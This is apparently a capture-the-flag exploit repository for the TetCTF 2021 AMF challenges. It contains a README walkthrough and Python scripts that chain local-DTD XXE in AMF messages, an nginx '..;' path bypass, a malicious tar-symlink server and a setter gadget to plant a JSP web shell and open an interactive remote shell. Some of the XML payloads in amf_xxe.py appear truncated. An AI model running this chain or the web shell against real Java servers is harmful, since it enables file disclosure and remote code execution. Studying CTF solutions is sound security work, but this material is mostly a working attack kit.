├── README.md
├── amfGenerator.jar
├── amf_xxe.py
├── jar_xxe_server.py
├── pocAMF1.ser
├── tar_symlink
└── tetctf_exp.py
/README.md:
--------------------------------------------------------------------------------
1 | # AMF1
2 |
3 | - in this challenge, it's about XXE with some specific techniques on Java
4 |
5 | - the blacklist is: `file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history`
6 |
7 | - so you can't make a outbound request to get your remote DTD, this time we need a local DTD to archive XXE. Have a quick look on this awesome blog: https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
8 |
9 | - with the trick: `jar:/file://[some_zip_file]!/[dtd_inside_the_archive]`, we can make use of local DTD in some jars file of Tomcat
10 | - Reference: https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads_jars.md
11 |
12 | - Java has `netdoc://` protocol, which is same as `file://`
13 |
14 | - In the context of AMF, it will catch the Exception while handling the xml, and through it as HTTP Response, we can make use of this to archive XXE error-based
15 | - For ex:
16 | - `_://` => no protocol exception
17 |
18 | - Final Exploit
19 | - using `jar://` to load dtd inside some Tomcat jars
20 | - using `netdoc://` instead of `file://`, `netdoc://` or `file://` can also listing the directory (use to find the flag)
21 | - amf context exif error message via HTTP Respose + `_://` => error-based XXE
22 |
23 | python amf_xxe.py "http://139.162.40.239:1337/tetctf/messagebroker/amf" foo tetctf_v1
24 |
25 |
26 | # AMF2
27 | - tomcat with nginx, the most misconfiguration in 2020, which leading to many RCEs
28 | - with `/tetctf/dummy/..;/messagebroker` you can bypass nginx 403 and reach AMF endpoints
29 | - in the second challenge, we exploit another bug on AMF, trigger `readExternal()` or some public `setters`, this allow us to trigger the `setBackupFile` of `TetCTFUtils`
30 | - `TetCTFUtils.setBackupFile()` execute a `tar` command on arbitrary file on the system, so we need to create and upload a tar symlink file to server with `UploadServlet`
31 | - Another clever way, we can make use of XXE with `jar:http://host/a.zip!/a.txt` with a custom socket server to make the server save the tmp file, and hang the connection to make the tmp file not deleted for a while, then use the xxe bug with `file://` to listing the directory to view the file name of tmp file, and finally, trigger the setter
32 | - The last step: when we have created the symlink to the webroot, we just need to write our shell to the file we symlink to our webshell, so you can pass all the filter in the `UploadServlet`
33 |
34 | ## on your server run:
35 | python jar_xxe_server.py
36 |
37 | - edit the content of payload `trigger_jar_xxe` in `amf_xxe.py` to point to your socket server
38 |
39 | ## python tetctf_exp.py
40 |
41 |
42 | [+] trigger_amf_xxe etc_hosts
43 | etc_hosts output:
44 | 127.0.0.1 localhost
45 | ::1 localhost ip6-localhost ip6-loopback
46 | fe00::0 ip6-localnet
47 | ff00::0 ip6-mcastprefix
48 | ff02::1 ip6-allnodes
49 | ff02::2 ip6-allrouters
50 | 172.17.0.3 02688b965fbd (No such file or directory)...Bwlb.....
51 | [+] Done
52 | [+] trigger_amf_xxe trigger_jar_xxe
53 | [+] trigger_amf_xxe get_tmp_filename
54 | get_tmp_filename output:
55 | jar_cache7343514775749524690.tmp
56 | safeToDelete.tmp (No such file or directory)...Bwlb.2...
57 | [+] Done
58 | [+] tmp filename: jar_cache7343514775749524690.tmp
59 | [+] generate_amf_setter_payload
60 | [+] trigger_setter
61 | AppendToGatewayUrl,;jsessionid=A9A1197B578F257C267FABA24A88FF87 /onStatus
62 | C coderootCausedetailsmessage#Server.ProcessinThe supplied destination id is not registered with any service.
63 | [+] upload_via_symlink
64 | { "serviceResponse":"true", "serviceError":null, "serviceName":"File Upload", "opName":"fileUpload" }
65 | [+] done, enjoy shell
66 | /peterjson@remote_shell/~.~
67 | id
68 |
69 | uid=1000(service) gid=1000(service) groups=1000(service)
70 |
71 |
72 | None
73 | /peterjson@remote_shell/~.~
74 | whoami
75 |
76 | service
77 |
78 |
79 |
80 |
--------------------------------------------------------------------------------
/amfGenerator.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/peterjson31337/tetctf2021/4892cca6953d924832da657f33736f6e12417fd4/amfGenerator.jar
--------------------------------------------------------------------------------
/amf_xxe.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # AMF XXE tool
4 | # by Nicolas Gregoire / @Agarri_FR
5 |
6 | import string, struct, sys, re
7 | import requests
8 |
9 | ###########
10 | # Helpers #
11 | ###########
12 |
13 | proxy = {
14 | "http": "http://127.0.0.1:8888",
15 | "https" : "http://127.0.0.1:8888",
16 | }
17 |
18 | def usage():
19 |
20 | # Build a string containing the payload names
21 | keys = get_payloads().keys()
22 | keys.sort()
23 | names = ', '.join(keys)
24 |
25 | # Print to user
26 | print "[!] Invalid arguments"
27 | print "- 1st arg: target URL"
28 | print "- 2nd arg: target service"
29 | print "- 3rd arg: payload name (%s)" % names
30 | print "[+] Example: %s http://0x0:8081/ echo %s" % (sys.argv[0], keys[0])
31 | sys.exit()
32 |
33 | def send(url, body):
34 |
35 | # POST an AMF message
36 | ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:6.6.6) Gecko/20150401 Firefox/3.1.33.7'
37 | settings = { 'User-Agent': ua, 'Content-Type': 'application/x-amf' }
38 | print "[+] Sending the request..."
39 | try:
40 | r = requests.post(url, data=body, headers=settings, timeout=5,proxies=proxy)
41 | print('[+] Response code: %d' % r.status_code)
42 | # Clean the result before display
43 | clean = re.sub('[^ \r\n\t!-~]', '.', r.content)
44 | print('[+] Body:\n%s' % clean)
45 | except requests.exceptions.ConnectionError:
46 | print ('[!] Cannot connect to target...')
47 | except requests.exceptions.Timeout:
48 | print ('[!] Connection OK, but a timeout was reached...')
49 |
50 | #############
51 | # XML stuff #
52 | #############
53 |
54 | def get_payloads():
55 |
56 | xml = {}
57 | xml['static'] = 'Static content'
58 | xml['internal'] = ' ]>Internal entity: &foo;'
59 | xml['ext_group'] = ' ]>External entity 1: &foo;'
60 | xml['ext_rand'] = ' ]>External entity 2: &foo;'
61 | xml['ext_url'] = ' ]>External entity 3: &foo;'
62 | xml['prm_group'] = ' %foo; ]>Parameter entity 1'
63 | xml['prm_rand'] = ' %foo; ]>Parameter entity 2'
64 |
65 |
66 | xml['prm_url'] = ' %foo; ]>Parameter entity 3'
67 |
68 |
69 | xml['ftp'] = ''' ]>External entity 1: &foo;'''
70 |
71 | xml['tetctf_v1'] = '''
73 |
74 |
75 | ">
76 | %eval;
77 | %error;
78 |
79 | %local_dtd;
80 | ]>
81 | '''
82 |
83 |
84 | xml['etc_hosts'] = '''
86 |
87 |
88 | ">
89 | %eval;
90 | %error;
91 |
92 | %local_dtd;
93 | ]>
94 | '''
95 |
96 | xml['get_tmp_filename'] = '''
98 |
99 |
100 | ">
101 | %eval;
102 | %error;
103 |
104 | %local_dtd;
105 | ]>
106 | '''
107 |
108 |
109 | xml['trigger_jar_xxe'] = '''
111 |
112 |
113 | ">
114 | %eval;
115 | %error;
116 |
117 | %local_dtd;
118 | ]>
119 | '''
120 |
121 |
122 | xml['dtd_group'] = 'Remote DTD 1'
123 | xml['dtd_rand'] = 'Remote DTD 2'
124 | xml['dtd_url'] = 'Remote DTD 3'
125 | return xml
126 |
127 | def get_payload(name):
128 |
129 | xml = get_payloads()
130 | try:
131 | return xml[name]
132 | except KeyError:
133 | usage()
134 |
135 | #############
136 | # AMF stuff #
137 | #############
138 |
139 | def encode(string, xml=False):
140 |
141 | string = string.encode('utf-8')
142 | if xml:
143 | const = '\x0f' # AMF0 XML document
144 | size = struct.pack("!L", len(string)) # Size on 4 bytes
145 | else:
146 | const = '' # AMF0 URI
147 | size = struct.pack("!H", len(string)) # Size on 2 bytes
148 | return const + size + string
149 |
150 | def build_amf_packet(svc, xml_str):
151 |
152 | # Message
153 | array_with_one_entry = '\x0a' + '\x00\x00\x00\x01' # AMF0 Array
154 | msg = array_with_one_entry + encode(xml_str, xml=True)
155 |
156 | # Body
157 | target_uri = encode(svc) # Target URI
158 | response_uri = encode('foobar') # Response URI
159 | sz_msg = struct.pack("!L", len(msg))
160 | body = target_uri + response_uri + sz_msg + msg
161 |
162 | # Packet
163 | version = '\x00\x03' # Version
164 | headers = '\x00\x00' # No headers
165 | bodies = '\x00\x01' + body # One body
166 | packet = version + headers + bodies
167 |
168 | return packet
169 |
170 | #############
171 | # Main code #
172 | #############
173 |
174 | # Parse arguments
175 | if (len(sys.argv) != 4):
176 | usage()
177 | target_url = sys.argv[1]
178 | target_svc = sys.argv[2]
179 | payload_name = sys.argv[3]
180 | payload = get_payload(payload_name)
181 |
182 | # Build AMF packet
183 | amf_pkt = build_amf_packet(target_svc, payload)
184 |
185 | # Display some info
186 | print "[+] Target URL: '%s'" % target_url
187 | print "[+] Target service: '%s'" % target_svc
188 | # print "[+] Payload '%s': '%s'" % (payload_name, payload)
189 |
190 | # Send to target
191 | send(target_url, amf_pkt)
192 | print('[+] Done')
193 |
--------------------------------------------------------------------------------
/jar_xxe_server.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import time
3 | import threading
4 | import socketserver
5 | import telnetlib
6 | import socket
7 | from cStringIO import StringIO
8 | from contextlib import closing
9 | import tarfile
10 | import os
11 |
12 | def _build_tar_symlink(target):
13 | f = StringIO()
14 | t = tarfile.TarInfo()
15 | t.name = 'peterjson'
16 | t.mode |= 0120000 << 16L # symlink file type
17 | t.type = tarfile.SYMTYPE
18 | t.linkname = target
19 | with closing(tarfile.open(fileobj=f, mode="w")) as tar:
20 | tar.addfile(t, target)
21 | return f.getvalue()
22 |
23 | class JarRequestHandler(socketserver.BaseRequestHandler):
24 | def handle(self):
25 | http_req = b''
26 | print('New connection:',self.client_address)
27 | while b'\r\n\r\n' not in http_req:
28 | try:
29 | http_req += self.request.recv(4096)
30 | print('\r\nClient req:\r\n',http_req.decode())
31 | jf = open("tar_symlink", 'rb')
32 | contents = jf.read()
33 | headers = ('''HTTP/1.0 200 OK\r\n'''
34 | '''Content-Type: application/java-archive\r\n\r\n''')
35 | self.request.sendall(headers.encode('ascii'))
36 | self.request.sendall(contents[:-1])
37 | time.sleep(20)
38 | print("done")
39 | self.request.sendall(contents[-1:])
40 | except Exception as e:
41 | print ("get error at:"+str(e))
42 |
43 |
44 | if __name__ == '__main__':
45 | try:
46 | tar_symlink = _build_tar_symlink("/home/service/apache-tomcat-7.0.99/webapps/tetctf/peterjson.jsp")
47 | f = open("tar_symlink","wb+")
48 | f.write(tar_symlink)
49 | f.write(tar_symlink[:1])
50 | f.close()
51 | jarserver = socketserver.TCPServer(("0.0.0.0",9999), JarRequestHandler)
52 | print ('waiting for connection...')
53 | server_thread = threading.Thread(target=jarserver.serve_forever)
54 | server_thread.daemon = True
55 | server_thread.start()
56 | server_thread.join()
57 | except KeyboardInterrupt:
58 | sys.exit(-1)
--------------------------------------------------------------------------------
/pocAMF1.ser:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/peterjson31337/tetctf2021/4892cca6953d924832da657f33736f6e12417fd4/pocAMF1.ser
--------------------------------------------------------------------------------
/tar_symlink:
--------------------------------------------------------------------------------
1 | peterjson 0000644 0000000 0000000 00000000000 00000000000 024467 2/home/service/apache-tomcat-7.0.99/webapps/tetctf/peterjson.jsp ustar 0000000 0000000 p
--------------------------------------------------------------------------------
/tetctf_exp.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import os
3 | import threading
4 | import subprocess
5 | import time
6 | import sys
7 |
8 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
9 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
10 |
11 |
12 | proxy = {
13 | "http": "http://127.0.0.1:8888",
14 | "https" : "http://127.0.0.1:8888",
15 | }
16 |
17 | def excute_subprocess(list_cmd):
18 | p = subprocess.Popen(list_cmd,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
19 | out, err = p.communicate()
20 | return out,err
21 |
22 |
23 | def generate_amf_setter_payload(filePath):
24 | os.system("java -cp amfGenerator.jar base.peterjson.Main \"%s\"" % filePath)
25 |
26 | def trigger_setter(url):
27 | burp0_url = url + "/tetctf/abc/..;/messagebroker/amf"
28 | data = open("pocAMF1.ser","rb")
29 | r = requests.post(burp0_url, data=data,proxies=proxy)
30 | print(r.content)
31 |
32 |
33 | def trigger_amf_xxe(url,method):
34 | try:
35 | out,err = excute_subprocess(["python","amf_xxe.py","%s/tetctf/abc/..;/messagebroker/amf" % url,"foo","%s" % method])
36 | out = out.split("peterjson/")[1].strip()
37 | print("%s output: " % method)
38 | print(out)
39 | return out
40 | except:
41 | pass
42 |
43 |
44 | def _get_jsp():
45 | jsp = """<%@ page import="java.util.*,java.io.*"%>
46 | <%
47 | String command = request.getParameter("cmd");
48 | if (command != null) {
49 | ProcessBuilder process = new ProcessBuilder();
50 | if(System.getProperty("os.name").toLowerCase().startsWith("windows")){
51 | process.command("powershell.exe","-c",command);
52 | } else {
53 | process.command("/bin/sh","-c", command);
54 | }
55 | process.redirectErrorStream(true);
56 | Process p = process.start();
57 | InputStreamReader inputStreamReader = new InputStreamReader(p.getInputStream());
58 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
59 | String line = "";
60 | String output = "";
61 | while((line = bufferedReader.readLine()) != null){
62 | output = output + line + "\\n";
63 | }
64 | out.println(output);
65 | response.setStatus(404);
66 | } else{
67 | response.setStatus(404);
68 | }
69 | %>"""
70 | return jsp
71 |
72 |
73 | def upload_via_symlink(url):
74 | burp0_url = url + "/tetctf/uploadServlet?filePath=/tmp/backup13337/peterjson"
75 | files = {'dummy': _get_jsp()}
76 | r = requests.post(burp0_url, files=files,proxies=proxy)
77 | print(r.content)
78 |
79 | def exec_cmd(url,cmd):
80 | burp0_url = url + "/tetctf/peterjson.jsp"
81 | burp0_cookies = {"JSESSIONID": "578A28D99AAE35BCA1D5E8C9339D9145"}
82 | burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
83 | burp0_data = {"cmd": cmd}
84 | r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
85 | print(r.content)
86 |
87 | def run_cmd(url,cmd):
88 | if "quit" in cmd:
89 | print("Exiting ...")
90 | sys.exit(-1)
91 | else:
92 | return exec_cmd(url,cmd)
93 |
94 | if __name__ == '__main__':
95 | # url = "http://192.168.111.202:1337"
96 | url = "http://139.162.40.239:13337"
97 | print("[+] trigger_amf_xxe etc_hosts")
98 | trigger_amf_xxe(url,"etc_hosts")
99 | time.sleep(1)
100 | print("[+] trigger_amf_xxe trigger_jar_xxe")
101 | t = threading.Thread(target=trigger_amf_xxe, args=((url,"trigger_jar_xxe")))
102 | t.start()
103 | time.sleep(1)
104 | print("[+] trigger_amf_xxe get_tmp_filename")
105 | tmp_file = trigger_amf_xxe(url,"get_tmp_filename").split("\n")[0].strip()
106 | print("[+] tmp filename: " + tmp_file)
107 | time.sleep(1)
108 | print("[+] generate_amf_setter_payload")
109 | generate_amf_setter_payload("/home/service/apache-tomcat-7.0.99/temp/" + tmp_file)
110 | print("[+] trigger_setter")
111 | trigger_setter(url)
112 | time.sleep(1)
113 | print("[+] upload_via_symlink")
114 | upload_via_symlink(url)
115 | print("[+] done, enjoy shell")
116 |
117 | while True:
118 | cmd = raw_input("/peterjson@remote_shell/~.~\n").strip()
119 | output = run_cmd(url,cmd)
120 | print(output)
121 |
122 |
123 |
--------------------------------------------------------------------------------